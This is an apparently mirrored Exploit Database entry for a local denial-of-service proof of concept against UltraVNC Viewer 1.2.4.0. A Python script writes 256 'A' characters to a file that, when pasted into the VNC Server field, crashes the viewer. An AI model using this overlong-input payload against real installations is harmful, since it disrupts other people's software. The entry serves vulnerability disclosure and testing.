UltraVNC Viewer 1.2.4.0 – ‘VNCServer’ Denial of Service (PoC)

• Exploit Database
• 16 阅读

• 作者： chuyreds
  日期： 2020-04-06
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48291/

• # Exploit Title:UltraVNC Viewer 1.2.4.0 - 'VNCServer' Denial of Service (PoC)
  # Discovery by: chuyreds 
  # Discovery Date: 2020-04-05
  # Vendor Homepage: https://www.uvnc.com/
  # Software Link : https://www.uvnc.com/component/jdownloads/send/0-/394-ultravnc-1240-x86-setup.html?Itemid=0
  # Tested Version: 1.2.4.0
  # Vulnerability Type: Local
  # Tested on OS: Windows 10 Pro x64 es
  
  # Steps to produce the crash:
  #1.- Run python code: UltraVNC_1.2.40-Viewer_VNCServer.py
  #2.- Open UltraViewer_VNCServer.txt and copy content to clipboard
  #3.- Open UltraVNC Viewer 
  #4.- In "VNC Server" Paste Clipboard
  #5.- Click on "Connect"
  #6.- Crashed
  
  cod = "\x41" * 256
  
  f = open('UltraVNC_1.2.40-Viewer_VNCServer.txt', 'w')
  f.write(cod)
  f.close()